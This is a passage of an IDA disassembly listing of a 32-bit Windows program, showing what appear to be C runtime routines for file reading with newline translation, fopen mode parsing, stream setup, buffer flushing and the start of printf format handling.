		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------

loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh

loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE

loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------

loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 268086Bh
		test	eax, eax
		jnz	short loc_41F2CC

loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7

loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------

loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0

loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh

loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi

loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------

loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al

loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------

loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4E0B2C, 0
		mov	dword_4E0B28, 9

loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh

loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4E0BA8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4E0D14
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------

loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------

loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h

loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2

loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx

loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458

loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E

loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------

loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4E0D10
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4E1E60
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4E0E48
		mov	edi, ebx

loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------

loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------

loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4E0E48
		mov	[edi+ecx], eax
		mov	eax, dword_4E0E48
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi

loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_441BA8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------

loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_441BA8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------

loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_4422B8
		jz	short loc_41F5EA
		cmp	esi, offset dword_4422D8
		jnz	short loc_41F5F5

loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC

loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx

loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------

loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4E1E80[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------

loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_442200

loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch

loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------

loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------

loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------

loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh

loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------

loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax

loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump

loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax

loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------

loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx

loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_441BA8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8

loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh

loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_441DC4
		mov	[ebp+var_8], ecx

loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------

loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------

loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8

loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------

loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_441DC0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------

loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1

loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
